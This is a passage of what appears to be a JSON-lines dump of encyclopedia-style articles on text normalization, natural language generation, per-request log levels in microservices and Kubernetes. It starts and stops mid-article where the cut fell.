'troubl'. This is a simpler and faster alternative to lemmatization.\n    + **Sentence Segmentation**: Break up text into sentences using characters `.`, `!`, or `?`.\n    + **Phonetic Normalization**: Words spelled differently could sound the same. Likewise, variations in pronunciation would need to be normalized to the same token.\n    + **Spelling Correction**: In some applications such as IR, it's useful to correct spelling errors. For example, 'infromation' is normalized to 'information'.\n    + **Non-Standard Words**: This includes phone numbers, dates, currencies, addresses, acronyms, etc.\n    + **Others**: Normalization may involve accents (naïve, naive), UK/US spelling (catalogue, catalog), and capital letters (Product, product).\n\n### What are some NLP applications that benefit from text normalization?\n\n**Information Retrieval (IR)** is a typical example. If the search query is 'U.S.A.', we may want to return results for 'U.S.A.' and 'USA'. One way to do this is via *query expansion* in which both forms are searched. A more efficient approach is to normalize to 'USA', store all documents with this normalized form and search only for 'USA'. Wrong normalization can produce irrelevant results, such 'C.A.T.' normalized to 'cat'. \n\n**Conversational AI** involves both Automatic Speech Recognition (ASR) and Text-to-Speech (TTS) synthesis. For example, when a user says \"five p m\", ASR should interpret this as \"5:00PM\". This is called *inverse text normalization*. On the reverse, a text input \"6:30PM\" should be spoken as \"six thirty p m\". This is text normalization. Another example is 'Dr.', which could be interpreted as 'Drive' or 'Doctor'. Hence, context of usage is important to determine the correct normal form. \n\nMachine translation, opinion mining, spell checking, sentiment analysis, dependency parsing, and named entity recognition are further examples of NLP tasks or applications that can benefit from text normalization.\n\n\n### What are some general approaches to text normalization?\n\nText normalization has a few different approaches: \n\n    + **Substitution Lists**: Also called wordlist mapping, lookups or memorization. Uses a precompiled list. Doesn't generalize to variants not in the list.\n    + **Rule-based Methods**: Manually crafted rules encode regularities in variants.\n    + **Distance-based Methods**: Edit distance measures such as Levenshtein distance are used to determine if two word forms are similar.\n    + **Spelling Correction**: Hidden Markov Models analyse word morphology and determine the correct spelling. However, corrections are done word by word without any context.\n    + **Automatic Speech Recognition (ASR)**: Based on the insight that microtext (social media text, SMS messages) is closer to sound forms rather than proper spelling. Decodes word sequences within a weighted phonetic framework.\n    + **Machine Translation (MT)**: Microtext is treated as a foreign language that needs to be translated. This approach captures context. Character-level Statistical Machine Translation (CSMT) maps character sequences rather than words. It's an example of the noisy channel model: a translation model followed by a language model.\n    + **Neural Models**: Use of neural networks such as encoder-decoder model with LSTM.\n\n### What are some approaches to text tokenization?\n\nIn English, whitespace is used to separate words. Hence, whitespace is often used to identify tokens. Some punctuation characters could also indicate word boundaries. In social media text, `:)` and `#nlproc` would be considered as tokens. \n\nContractions are often normalized to expanded forms. Examples, what're → what are, I'm → I am, isn't → is not. This sort of normalization results in two tokens from a single word. On the contrary, New York is an example of two words considered as a single token. \n\nTokenization of some words is far from unambiguous. Hyphens present a challenge. Should state-of-the-art become 'state of the art'? Should Hewlett-Packard become 'Hewlett Packard'? Should lower-case become 'lowercase' or 'lower case'? Some acronyms are also challenging. How should we tokenize m.p.h. and PhD? \n\nIn Japanese and Chinese, there are no spaces to separate words. A greedy algorithm that attempts to find the longest dictionary word is often used. In French, should L'ensemble be tokenized as L, L' or Le? In German, noun compounds are not segmented and their processing is deferred to the application. \n\nAmong the well-known tokenization approaches are Byte-Pair Encoding (BPE), WordPiece and SentencePiece. \n\n\n### What are non-standard words that need to be normalized?\n\nNon-Standard Words (NSWs) include numbers, abbreviations, dates, currency amounts and acronyms. Mixed-case words (WinNT, SunOS), Roman numerals, URLs, and email addresses are more categories of NSWs. \n\nNSWs often occur in text apart from ordinary words and names. The challenge with NSWs is that they're not dictionary words and their interpretation tends to be ambiguous. Therefore, we need to normalize them. This basically means replacing them with ordinary words. \n\nTake for example 'Pvt', which is interpreted as 'Private'. An ambiguous example is 'IV'. It could be read as four, fourth or intravenous, depending on the context. The number 1750 could refer to a year, a building number or a cardinal number. These differences are important for a TTS system that needs to determine the correct pronunciation. Should Amazon Alexa read '2/3' as 'two thirds' or 'February Third'? \n\nRather than employ ad hoc techniques to handle NSWs, formal modelling has been shown to give better results. Techniques could include n-gram models, decision trees, and weighted finite-state transducers. \n\n\n### What are the challenges in normalizing social media text?\n\nSocial media text often don't conform to rules of spelling, grammar or punctuation. Among its challenges are: \n\n    + **Abbreviations**: nite (night), gr8 (great), sayin (saying), lol (laugh out loud), iirc (if I remember correctly), hard2tell (hard to tell)\n    + **Misspelling**: wouls (would), rediculous (ridiculous)\n    + **Omitted Punctuation**: im (I'm), dont (don't)\n    + **Slang**: that was well mint (that was well good)\n    + **Wordplay**: that was soooooo great (that was so great)\n    + **Disguised Vulgarities**: sh1t, f\\*\\*k\n    + **Emoticons**: :) for smiling face, <3 for heart\n    + **Informal Transliteration**: This concerns only multilingual text. Variations in transliteration occur due to long vowels, borrowed words, accents/dialects, double consonants, etc.Experiments have shown that normalizing these gives better performance in machine translation and spell checking. However, challenges remain. Emoticons :P and ;D are treated as spelling errors. Abbreviations 'b' for 'be' and 'c' for 'see' are not caught by spell checkers and later affect machine translation. When \"I'm\" is written as \"im\", it's misinterpreted as an abbreviation for instant messaging. \n\n\n### What does it mean to normalize Unicode strings?\n\nConsider the angstrom symbol Å that may require normalization. Its Unicode codepoint is 212B. It can be decomposed into A followed by a small top circle. \n\nUnicode characters can contain diacritical marks, ligatures, or half-width katakana characters. Unicode has defined four normalization forms: \n\n    + **Normalization Form D (NFD)**: Canonical Decomposition\n    + **Normalization Form C (NFC)**: Canonical Decomposition, followed by Canonical Composition\n    + **Normalization Form KD (NFKD)**: Compatibility Decomposition\n    + **Normalization Form KC (NFKC)**: Compatibility Decomposition, followed by Canonical Composition*Canonical equivalence* means that equivalent characters or sequences of characters represent the same abstract character. They display and behave the same way. \n\n*Compatibility equivalence* is a weaker type of equivalence. In this case, the visual appearance and behaviour may differ though they represent the same abstract character. For example, character ℌ becomes H and ¼ becomes 1/4. This difference may be acceptable in some applications. In some cases, applications may account for these differences with additional styling. \n\nConsider 'schön'. Its normal forms are 'scho\\u0308n' (NFD & NFKD) and 'schön' (NFC & NFKC). Moreover, NFC and NFKC differ only in the decomposition phase. \n\n\n### What are some neural network approaches to text normalization?\n\nSince 2016, **Recurrent Neural Networks (RNNs)** have been used for text normalization. In particular, a few layers of BiLSTM have been used to map character sequences to word tokens. \n\nFor a long time CSMT was the state of the art in text normalization. Neural models generally need much larger training datasets. To overcome this limitation, Lusetti et al. (2018) trained a character-level **encoder-decoder model** plus a word-level language model. Beam search is used during decoding. \n\nZhang et al. (2019) used **transformers** with good results but it's prone to unrecoverable errors. They got better results by modifying encoder-decoder model to capture context more effectively. Their multi-task architecture jointly trains the tagger and the normalizer. \n\n**Memory augmented network** has been applied. A hybrid word-character attention-based encoder-decoder model has been used, with character-based component trained on adversarial examples. **Pointer-generator network** with transformer encoder and auto-regressive decoder has been used, with the pointer module replacing OOV output tokens. \n\nFor many NLP tasks in Chinese, word tokenization is not required. However, **Convolutional Neural Networks (CNNs)** have been used. \n\n\n### Could you mention some useful developer tools for text normalization?\n\nIn Python, many NLP software libraries support text normalization, particularly tokenization, stemming and lemmatization. Some of these include NLTK, Hunspell, Gensim, SpaCy, TextBlob and Pattern. More tools are listed in an online spreadsheet. \n\nPenn Treebank tokenization standard is applied to treebanks released by the Linguistic Data Consortium (LDC). This standard keeps hyphenated words together, breaks up contractions (doesn't → does and n't), and separates out all punctuation ($10 → $ and 10).\n\nFor Unicode normalization, the International Components for Unicode page links to many useful resources including open source software. There's also an online demo at Unicode.org and a Unicode normalization FAQ. \n\nIn R, `utf8_normalize` from `utf8` package does Unicode normalization. For other text analysis, R packages `tidytext`, `tm`, `SnowballC` and `topicmodels` are useful. \n\nWolfram supports many levels of text normalization: character-level, word-level, sentence-level, morphological and linguistic. \n\n## Milestones\n\n1987\n\nAn early example of text normalization in the context of Text-to-Speech (TTS) is in a system named *MITalk*. Normalization is achieved using **hard-coded rules** in either Fortran or C. \n\n1996\n\nIn the Bell Labs multilingual TTS system, **Weighted Finite State Transducer (WFST)** is used for text normalization. Instead of doing this as a pre-processing step, normalization is done along with other linguistic tasks. To consider context, language model transducers are used. The method identifies many possible interpretations and selects the best path using Viterbi algorithm. As late as 2014, this approach continues to be used in practice, such as in Google's Kestrel system. \n\n2001\n\nSproat et al. give a taxonomy of NSWs. They also treat text normalization as a **language modelling** problem. For TTS application, they present both **supervised** and **unsupervised** machine learning approaches, with the latter being a better choice for new domains. \n\n2005\n\nWith the growth of **social media**, there's a need to normalize such text. From about mid-2000s, this drives interest in text normalization for social media text. \n\nJul  \n2006\n\nAw et al. propose the metaphor of **Machine Translation (MT)** for normalizing SMS messages. The idea is to \"translate\" SMS language to English language by adapting a phrase-based statistical MT model. For alignment during training, they use EM algorithm and Viterbi search. They show improved BLEU score. They also show that downstream English to Chinese translations improve. \n\nOct  \n2007\n\nChoudhury et al. apply **Hidden Markov Model (HMM)** to the problem of normalizing SMS messages. Non-standard tokens are the emission states. They also adopt the **spell checking** metaphor and process text at character level rather than word level.  \n\nNov  \n2011\n\nPennell and Liu introduce a **character-level MT** method. Examples of character-level mappings are 'a'→'er', '@'→'at', and '8'→'ate'. This is only the first phase where possible expansions are identified. In the second phase, a language model is used to choose the correct expansion in context. \n\nDec  \n2012\n\nLi and Liu propose an algorithm in which input is **blocks of characters** segmented by **phonetic similarity**. They use two-step MT, translating non-standard words to phones, then phones to words. They use spell checking for simple corrections. In the example, character-level MT misaligns the second 'e' but character-block level MT gets it right. \n\n2013\n\nPrevious work often treated text normalization as replacing out-of-vocabulary or non-standard words with dictionary words. Researchers realize that text normalization can't be a \"one-size-fits-all\" approach. Downstream NLP task or application matters. Zhang et al. normalize with a view on improving performance of dependency parsing rather than simply evaluate based on word error rate and BLEU score. Wang and Ng normalize social media text for better machine translation. Along with word replacement, they recover missing words and correct punctuation. \n\n2015\n\nBaldwin and Li normalize social media text. They evaluate the effect of normalization on three downstream applications: dependency parsing, NER and TTS. They also study the effect of each normalization edit on each of these applications. For example, only word replacements are critical for NER. For parsing, word replacements, token addition and removal edits are important. For TTS, it's critical to remove non-standard tokens while word addition is important but less so. \n\nOct  \n2016\n\nSproat and Jaitly present **neural models** for text normalization. In particular, they use a few layers of BiLSTM. In one architecture, they train a BiLSTM channel model to map characters to word tokens, followed by another LSTM for language modelling. In another architecture, they use 4-layer attention-based BiLSTM sequence-to-sequence model. This performs better than the first one. An FST-based filter improves results further. \n\nAug  \n2017\n\nVan Esch and Sproat present a revised **taxonomy of NSWs**. They note that an earlier taxonomy from 2001 is inadequate due to many new categories that have come about due to social media. They present as many as 12 tables of various semiotic classes with useful examples for each. Some of these are word-like tokens, basic numbers, identifiers, dates, times, percentages, measures, geographic entities, and formulae. \n\nJun  \n2019\n\n**Historical texts** need to be normalized. Bollmann evaluates and analyses the performance of three systems that do this: Norma (rule-based, distance-based, supervised), cSMTiser (CSMT with additional language modelling data), and Neural Machine Translattion (NMT). He considers texts from many languages, some dating back to 14th century. cSMTiser outperforms NMT in most cases. Norma could be used if there's limited training data. \n\nJun  \n2019\n\nIt's important to normalize NSWs correctly in spoken dialogue systems such as Amazon Alexa. Mansfield et al. approach this as a machine translation problem and sequence-to-sequence modelling. For better context, they use **attention mechanism on subword units** rather than words. With subwords, we reduce input size and handle OOV words better. BPE is used to create a subword inventory and SentencePiece to find its optimal size. They improve performance further by using linguistic features: POS, position, capitalization, and edit labels.","meta":{"title":"Text Normalization","href":"text-normalization"}}
{"text":"# Natural Language Generation\n\n## Summary\n\n\nThere's a lot of structured data that's perhaps easier to understand if described in a natural language. Highlights from a financial spreadsheet, next week's weather prediction, and short summary of a long technical report are some examples. **Natural Language Generation (NLG)** is the process of generating descriptions or narratives in natural language from structured data. \n\nNLG is a sub-field of Natural Language Processing (NLP). NLG often works closely with Natural Language Understanding (NLU), another sub-field of NLP. Where input is unstructured text, NLU helps in producing a structured representation that can be consumed by NLG. Generating language uses more of our brain than understanding it. Likewise, computers might find NLG a more difficult task than NLU. \n\nA mature NLG system can free humans from mundane writing, create narratives quickly, enable almost real-time reporting, and streamline operations.\n\n## Discussion\n\n### What are some applications of NLG?\n\nThere are plenty of practical NLG applications: analysis for business intelligence dashboards, IoT device status and maintenance reporting, individual client financial portfolio summaries, personalized customer communications, and more. NLG, along with NLU, is at the core of chatbots and voice assistants. \n\nA familiar example might be Gmail's Smart Compose. It reads email content and suggests short responses. The Associated Press uses NLG to generate thousands of corporate earnings reports in seconds. During the December 2019 UK elections, BBC News published 689 local stories of 100K words in 10 hours. Public datasets were used at the input and articles were generated in a style and tone suited for local audiences. \n\nFor computer science domain, NLG has been used to write specifications from UML diagrams, or describe source code changes. \n\nForge.ai processes unstructured data using mainly supervised NLU models. However, training data is limited. They overcame this by using NLG to synthesize training data. They used human-annotated examples plus knowledge sources. Similarly, synthesized electronic health records can enable de-identified data sharing among healthcare providers and train ML models. \n\n\n### What's expected of a good NLG system?\n\nNLG must include in its response information that's most relevant to the user in the current context. This includes the level of detail that's to be included. For effective communication, information must be presented in a sensible order. Thus, organization and structure are important. One sentence must follow logically from another. Likewise, NLG must know when to group them into paragraphs or even sections. \n\nNLG must conform to the syntax of the language. In addition, it's a good idea to use common expressions. A sophisticated system could be trainable, domain-independent, and even capable of sarcasms and idiomatic expressions. \n\nStyle matters. If the intent is to present high-level financial summary to top management, the writing style must be formal, concise and fact-based. If the intent is to convince readers of a certain point of view, the style could be argumentative with references to supporting evidence. \n\nOn the whole, NLG is about making choices and pursuing specific communicative goals. \n\n\n### What's the typical pipeline in an NLG application?\n\nA typical NLG pipeline has these basic steps:  \n\n    + **Content Determination and Text Planning**: Determine the information to be communicated. Structure the information. It's also called *Macro Planning* or *Document Planning*. Information could come from a knowledge base. Selection of information must consider goals and preferences of both writer and reader.\n    + **Sentence Planning**: Decide how information must be split into sentences and paragraphs. Plan for a flowing narrative. Also called *Micro Planning*, this involves techniques such as referring expressions, aggregation, lexicalization and grammaticalization.\n    + **Surface Realization**: Generate individual sentences in a grammatically correct manner. This involves syntax selection and inflection.\n    + **Physical Presentation**: The output could be written or spoken text. Either way, this step does articulation, punctuation and layout.\n\n### Could you describe the main components or tasks in NLG?\n\nWe describe a few NLG components:  \n\n    + **Aggregation**: Combining two sentences into one using a conjunction, such as \"Sam has high blood pressure *and* low blood sugar.\" Aggregation could also be applied to paragraphs and higher-order structures.\n    + **Lexicalization**: This is about word choice. Between 'depart' and 'leave', \"the train departed\" is more formal than \"the train left\".\n    + **Referring Expression Generation**: Using preceding context, select words or phrases to identify domain entities. An example is the use of pronouns, such as \"I just saw Mrs. Black. *She* has a high temperature.\"\n    + **Using Discourse Markers**: The inclusion of the word 'also', makes this sentence more fluent: \"If Sam goes to the hospital, he should *also* go to the store.\"\n    + **Linguistic Realization**: Consider the sentence \"There are 20 trains each day *from* Aberdeen *to* Glasgow.\" Following syntactic rules, NLG has added function words 'from' and 'to'. Due to morphology, the plural form of 'train' has been used. Due to orthography, the first word is capitalized and full stop added at the end.\n\n### Which are main technical approaches to building NLG systems?\n\nWe've two approaches to NLG: \n\n    + **Template-based**: Texts have pre-defined structure with gaps. Gaps are filled with data. These systems evolved to allow greater control via scripts and business rules. These developed further to include linguistic capability to generate grammatically correct text.\n    + **Dynamic Creation**: At a micro level, sentences are created dynamically from semantic representations and a desired linguistic structure. At a macro level, sentences are organized into a logical narrative as suited for the audience and the purpose of communication.For dynamic creation of text, a **Markov Chain** model was initially applied. Given the current word and its relationships with other words, this model predicts or generates the next word. However, such models often lacked structure and context. \n\nMore recently, **Language Modelling** has been applied to NLG. Given recent words, the model predicts the next word. An *n-gram model* is a specific way to build a language model. Later, neural networks were successfully applied to language modelling. \n\nSome classify NLG into Basic NLG, Templated NLG and Advanced NLG. \n\n\n### How have neural networks been applied to build NLG models?\n\nRNNs, LTSMs and transformer networks have been used for NLG models. RNNs exploit the sequential nature of text and \"remember\" previous words to predict the next word. LSTMs are better than RNNs at remembering longer word sequences. They also have a mechanism to selectively forget when context changes. \n\n**Transformers** have become popular due to their state-of-the-art performance. They look at the relationships among words in context. All words are represented individually in the vector space instead of reducing them to a single fixed-length vector. Transformers have been used to build language models and thereby enable NLG. Two popular ones are BERT and GPT-2. However, it's been remarked that GPT-2 lacks language understanding. \n\nNeural networks typically take an **end-to-end approach** to NLG. We could use an encoder-decoder architecture along with an attention layer. The encoder produces a hidden representation of the input text. The decoder generates the text. Compared to template-based systems, neural network models give less control but are more flexible and expressive. \n\n\n### How can I evaluate NLG models?\n\nEvaluating NLG systems is a challenge in itself and this has been addressed since the mid-1990s. Evaluations are useful to assess the underlying theory of an NLG system, compare two NLG systems, or determine if a particular is showing improvements. In **black box evaluation**, we evaluate the entire system. In **glass box evaluation**, we evaluate the system's component parts such as document structuring or aggregation. \n\nEvaluations should look at **accuracy** (conveying the desired meaning) and **fluency** (text flows and is readable). These two factors are not necessarily correlated. Evaluations can be by humans or automated. Multiple methods and metrics are preferred. \n\nEvaluation metrics can be word-based (TER, BLEU, ROUGE), grammar-based (readability, spelling errors, characters per word, etc.) or measure semantic similarity. Another way to categorize the metrics is n-gram overlap (BLEU, GTM, CIDEr), content overlap (MASI, SPICE) and string distance (Levenshtein, TER). BLEU has been criticized by researchers. \n\nThe E2E NLG Challenge (2017-18) used five metrics: BLEU, NIST, METEOR, ROUGE-L, and CIDEr; plus RankME. Rank-based Magnitude Estimation (RankME) enables reliable and consistent human evaluation. \n\n\n### Could you describe some tools to help with NLG?\n\nAmong the commercial tools are Arria NLG, AX Semantics, Yseop, Quill, and Wordsmith. Among the open source tools are SimpleNLG and NaturalOWL. Wordsmith is from Automated Insights, who can be regarded as a pioneer in NLG. Quill, from Narrative Science, makes use of deep learning. \n\nSome NLG platforms (such as Wordsmith) can be integrated with business intelligence platforms so that dashboards can be enhanced with descriptive explanations or highlights. \n\n## Milestones\n\n1950\n\nDuring the 1950s and 1960s, NLG is not seen as a dedicated field of study but as a component of **machine translation** systems. It's only in the 1970s that researchers look into NLG for the purpose of communication. In the 1980s, NLG becomes a dedicated field of research. Also in the 1950s, the approach is **template-based** and therefore NLG produces the same output to all listeners in all situations. \n\nNov  \n1970\n\nSimmons and Slocum adapt **semantic networks** to the task of NLG. Nodes are word senses. Connecting paths are relations. Essentially, the network defines the grammar as ordered sets of syntactic transformations. The grammar includes voice, form, aspect, tense, mood, and so on. This is used by the algorithm when generating text. They implement this in LISP. \n\n1974\n\nDavey makes the case that production (NLG) is not a reverse process of comprehension (NLU).  While language syntax may benefit comprehension, it's not sufficient for discourse-based production. From a given semantic representation, the form that the sentence would take is unpredictable. \n\n1992\n\nAs one of the earliest commercial applications of NLG, Goldberg et al. describe a system that generates bilingual weather reports from graphical weather predictions. \n\nMar  \n1997\n\nReiter and Dale note that the most common architecture for NLG is a **three-stage pipeline**. They describe each stage along with essential tasks that belong to each stage. They give guidelines to developers to build practical NLG systems. They also note that NLG may not be the right approach for some use cases. Instead, present information graphically, use mail-merge systems or employ human authors. \n\nSep  \n1989\n\nHovy notes that beyond the literal meaning of words, we often tune our communication in relation to the listener, the situation, or interpersonal goals. Hovy therefore studies the importance of **pragmatics**. NLG has often asked two questions: \"what shall I say?\" and \"how shall I say it?\" NLG should also concern itself with \"why should I say it?\" Hovy also implements a program called *PAULINE*, which he acknowledges being primitive and much more research needs to be done. \n\n1993\n\nMiikkulainen proposes *DISCERN* as a sub-symbolic **neural network model** for NLG. It can create summaries or answer questions. The system includes parsers, at sentence level and story level. For generation, there's a story generator and a sentence generator. These are helped by a memory block and a lexicon. Distributed real-valued vectors represent words both at lexical and semantic levels. Representations are based on thematic case roles. Other early neural networks for NLG from the 1990s include *ANA* and *FIG*. \n\nJun  \n2000\n\nThe first *International Natural Language Generation Conference (INLG)* is held, as a continuation of international workshops on NLG held regularly during 1982-1998. INLG becomes an almost biennial event. Full papers of these conferences are available online.\n\n2007\n\nFor college basketball in the US, *StatSheet* is launched to provide game previews, injury reports, and recaps. Much of this is generated automatically. Soon it becomes the top website for college basketball statistics. In 2011, StatSheet changes its name to Automated Insights and partners with NFL for automated content production. \n\n2013\n\nNLG enters the fields of **data analysis and business intelligence**. A particular example is Allstate Industries adopting NLG. In 2015, Gartner names NLG as an official technology space. It predicts that by 2020, NLG will be a standard feature in 90% on these platforms. By 2016, NLG gets integrated into many BI and data visualization platforms such as Tableau, MicroStrategy and Power BI. \n\nJun  \n2016\n\nBy exploiting similarities across domains, Wen et al. propose a method to train models for **multi-domain NLG**. Synthesized out-of-domain training data is created by data counterfeiting. Then the model is fine-tuned using a much smaller dataset of in-domain utterances. Semantically Conditioned Long Short-Term Memory (SC-LSTM) network is used. Reading gates control semantic input features presented to the network. \n\nAug  \n2016\n\nResearchers show that when users are presented with uncertain data, NLG improves decision making. They use graphs of weather forecasts with likelihoods. Decisions are better by 24% with NLG, and by 44% when NLG is combined with graphs. The improvement is as high a 87% for women. \n\nMar  \n2017\n\nResearchers initiate the *E2E NLG Challenge*. Whereas there are many distinct steps in traditional text generation method, **end-to-end generation** attempts to combine all steps into a single model. Such a model would be trained on vast amounts of annotated text. For the Challenge, a crowdsourced dataset of 50k instances in the restaurant domain is used. Training data consists of meaning representations (MRs) and corresponding reference texts. In 2018, from 62 submissions, a seq2seq-based ensemble model with re-ranker is judged the overall winner.","meta":{"title":"Natural Language Generation","href":"natural-language-generation"}}
{"text":"# Log Level Per Request\n\n## Summary\n\n\nFor applications in production, setting breakpoints is usually not a viable option. Logging is the preferred approach to troubleshoot problems in production. For runtime efficiency, storage and analysis we often want to log only the most important messages. However, when an error occurs, a more detailed log is needed to find the root cause. But turning on full debug or trace level logging can result in huge logs and slow down analysis. \n\nThe idea of log level per request is to increase the level of logging only for that request that's causing the error.  Executions triggered by other requests will continue to be logged in the default manner. This approach is particularly useful for microservices architecture where a single request can involve multiple microservices, all of which are possibly handling hundreds of requests per second.\n\n## Discussion\n\n### Why is log level per request important for microservices?\n\nComplex large-scale applications are moving away from monolithic architecture to microservices architecture. But failures are hard to troubleshoot in microservices. A single HTTP request can trigger a sequence of calls and responses across many microservices. This distributed nature of microservices makes it hard to debug problems such as malformed data. It's harder to track down performance issues. \n\nIn monolithic applications, it's easy to put breakpoints and follow the sequence of function calls to understand the problem, at least in a development environment. This isn't possible for microservices, particularly in production. Log level per request therefore helps us obtain detailed logs pertaining to a particular problem. In general, logging, monitoring and measuring comes under **instrumentation**. \n\nFor example, a microservice may be called in dozens of user scenarios only one of which is causing an error. Detailed debug logging can be turned on for this single scenario. We avoid overwhelming the system with debug level logging for all other high-level user requests.\n\n\n### What should I expect from a good implementation of log level per request?\n\nTo change log level on a per request basis, you shouldn't be asked to recompile the application. It should be possible to set the log level easily for different environments: development, production, user acceptance testing, non-functional testing, etc. Log level should be configurable for each application or component, and independent of event-raising code. \n\nIt's recommended that you log entry and exit of functions. Log enough to set the context, including name of function, user, or even IP address. Logs should be complete in the sense that the information should help troubleshoot a problem. Past incident reports can help you decide what, where and how much to log. In time, you can even develop logging patterns. Your development pipeline should catch code where logs are missing. Deployment may flag functions that are not logging. \n\nIn general, for microservices logging, centralize the logging from different hosts. Log structured data, such as in JSON format. Log asynchronously. Make logs searchable, for instance, by using ELK Stack. \n\n\n### What are some possible techniques for implementing log level per request?\n\nOne suggested approach is to use a **Correlation ID**, passed from service to service. This ID is unique to a particular transaction or a high-level request. With this ID, we can follow the execution journey of a transaction in the logs. Moreover, we can set the desired log level for this transaction. \n\nTo change log levels without compiling code, we could have a definitive list of all events/requests and a configurable mapping between these and the log levels. Such a mapping could be in an XML file. \n\nA correlation ID can be used whenever we wish to group together errors due to a request. Some examples of grouping are scheduled or background tasks; synchronized operations; all activities pertaining to a single request. \n\nA correlation ID can be generated by an \"edge\" microservice that then triggers internal microservices. In addition, any microservice that doesn't see an ID can generate one for subsequent tracing. In fact, an API Gateway in AWS generates these IDs that are passed along in HTTP headers. Preferably, the ID is assigned as early as possible. \n\n\n### Isn't log level per request same as event tracing?\n\nThey are related but not the same. Event tracing is about tracing an event and its effect across systems and services. It's supported by tools such as Sentry. Not just events or requests, even messages in a queue can carry the **trace ID**. However, traditionally event tracing was not really about dynamically setting the log level on a per request basis. It was about correlating log entries based on a trace ID. \n\n\n### Could you name some tools that support log level per request?\n\nTracing frameworks might support this feature. Some of them may be based on the *OpenTracing* standard. Zipkin, Datadog, and Dynatrace are tools that accept OpenTracing format. \n\nLogging frameworks are tied to languages: Log4j (Java), NLog (.NET), Node-Loggly (Node), etc. Select a framework based on code cleanliness, performance and familiarity. \n\nIf using Spring Cloud for implementing microservices, use Spring Sleuth along with Zipkin for using correlation IDs. You can use Spring Boot admin to change log levels dynamically. \n\nIn .NET framework, namespace `System.Diagnostics` has the property `CorrelationManager.ActivityId`. This is set per request. Thus, all errors thrown during one request will have the same ID. \n\nModSecurity, a web application firewall, supports log level per request and also allows us to change the level at runtime.\n\n## Milestones\n\n2010\n\nAt the University of Lisbon, researchers extend a framework called STEP for monitoring and performance analysis. STEP is a Java-based enterprise application framework created for educational purpose. They use Apache Log4j for logging and note that debug and trace levels are impractical for production environments. They propose activating such logging for a subset of request such as requests from a specific user. \n\n2012\n\nMatthew Skelton writes about tuning logging levels in production without recompiling code. He notes that often logging API suffer from **leaky abstraction** because application selects the log level at the point of calling. Thus, we would need to recompile to effect new logging levels. Apache log4net allows change of log levels without recompiling but it can't do this for specific event types. \n\nJul  \n2014\n\n**Apache Log4j 2** (version 2.0) is released. Using `ThreadContext` and `DynamicThresholdFilter`, we can control logging level on a per-request basis. Therefore, we can \"debug batch jobs which have a certain flag, WebSocket connections or any other thread-based processing\". This is in addition to debugging HTTP requests by setting a flag such as `x-debug-enabled: true` in the HTTP header. \n\nDec  \n2016\n\nA Rapid7 blog post notes that the use of correlation IDs is a well-known enterprise integration pattern called **Correlation Pattern**. Such an ID is a non-standard HTTP header and it's part of Java Messaging Service (JMS). An example is a travel reservation system. Once an ID is assigned to a reservation request, the same ID is passed to hotel, car rental and airline systems/services. Timestamps are not enough in logs and a correlation ID \"provides the glue that is needed to create a coherent, understandable audit of events\". \n\nJan  \n2017\n\nOne developer named Reik shows how to use Twitter's **Finagle** framework to dynamically set per-request log level. The idea is to use Finagle's \"broadcast context to transport a log level override through an RPC graph\". HTTP headers are used and Finagle filters can read them. \n\nMay  \n2018\n\nThoughtWords includes log level per request in its quarterly Technology Radar. It notes its relevance towards debugging microservices.","meta":{"title":"Log Level Per Request","href":"log-level-per-request"}}
{"text":"# Kubernetes\n\n## Summary\n\n\nA scalable application on the cloud is typically composed of many microservices running within containers. When there are multiple containers running the workloads of multiple applications across machines, there's a need to manage the containers. This is where **container orchestration** comes in. By automating container deployment, scaling, monitoring and recovery, developers can focus on code rather than operations. \n\nKubernetes is an open source container orchestrator. The project is overseen by the *Cloud Native Computing Foundation*, a project of the Linux Foundation. A shortform for Kubernetes is **k8s**. Kubernetes is written in Go language. \n\nKubernetes can work with different container technologies such as Docker or rkt. It can manage containers on clusters of physical or virtual machines. Deployments can be on-site or across various cloud providers, and therefore there's no vendor lock-in.\n\n## Discussion\n\n### Why was Kubernetes invented in the first place?\n\nInternally, Google had been using containers for more than a decade before Kubernetes itself was born. They used a cluster management system called **Borg** for managing hundreds of thousands of containers. This infrastructure was used to power Google Compute Engine but there was a problem. Customers were simply spinning up virtual machines (VMs), paying for them but using them well below capacity. In other words, resources were not optimally utilized. Engineers at Google realized that an open source variant of Borg was needed that everyone could use. \n\nContainers themselves had been popularized by Docker but managing even dozens of containers was becoming an operational challenge. Kubernetes was therefore created in 2013 before Docker Swarm itself appeared the next year. By making it easier to manage containers, tools like Kubernetes enable more widespread adoption of containers instead of VMs.\n\n\n### What are the key features of Kubernetes?\n\nWhen Kubernetes first came out, its basic feature set included replication, load balancing, service discovery, basic health checking, self-healing, and scheduling. Current features of Kubernetes include the following: \n\n    + **Service discovery and load balancing**: Uses a single DNS name for a set of containers. Jobs are load-balanced across them.\n    + **Automatic binpacking**: Also called scheduling, containers are assigned to nodes based on resource requirements. Mix critical and batch workloads in order to drive up utilization.\n    + **Storage orchestration**: Support for various storage options.\n    + **Self-healing**: Restart failed containers. Reschedule containers when nodes dies.\n    + **Automated rollouts and rollbacks**: App changes are rolled out progressively without bringing down all instances at the same time. If something goes wrong, rollback the changes.\n    + **Secret and configuration management**: Update secrets without rebuilding image or exposing secrets in your stack configuration.\n    + **Batch execution**: Manage batch and CI workloads.\n    + **Horizontal scaling**: Also called replication, apps can be scaled up or down automatically based on CPU usage.\n\n### Could you define some common Kubernetes terminology?\n\nA Kubernetes glossary is available online but here are some common terms: \n\n    + **Cluster**: A set of worker nodes and at least one master node managed by Kubernetes.\n    + **Controller**: A control loop that watches and attempts to move the cluster to its desired state.\n    + **Deployment**: An API object that manages a replicated application. Each replica is a pod.\n    + **Label**: Key-value pairs used to identify and organize Kubernetes objects such as pods.\n    + **Namespace**: An abstraction used by Kubernetes to support multiple virtual clusters on the same physical cluster.\n    + **Node**: Previously called minion, this is a worker machine that can be virtual or physical. It has services (such as Docker) to run pods.\n    + **Pod**: The smallest and simplest Kubernetes object, it's a set of running containers on your cluster.\n    + **ReplicaSet**: Ensures a specific number of instances of a pod is always running.\n    + **Service**: An API object that describes how to access applications, such as a set of Pods, and can describe ports and load-balancers.\n    + **Selector**: Allows users to filter a list of resources based on labels.\n    + **Volume**: A directory containing data, accessible to the containers in a pod with data preserved across container restarts.\n\n### Could you describe the architecture of Kubernetes?\n\nA Kubernetes cluster consists of at least one **master** plus a number of **nodes**. The master consists of API server, scheduler and controller. Configuration and management is via API calls processed by the master. Master also contains an **etcd** key-value database to store the state of the cluster. \n\nOverall management of the cluster is with the master but the real workhorses are the nodes. Jobs execute within containers. One or more containers are combined into a single **pod**. One or more pods are scheduled to run on a node. Master schedules pods on nodes, not the containers themselves. Scheduling is based on resource requirements. When scheduled, the node pulls the required container image, 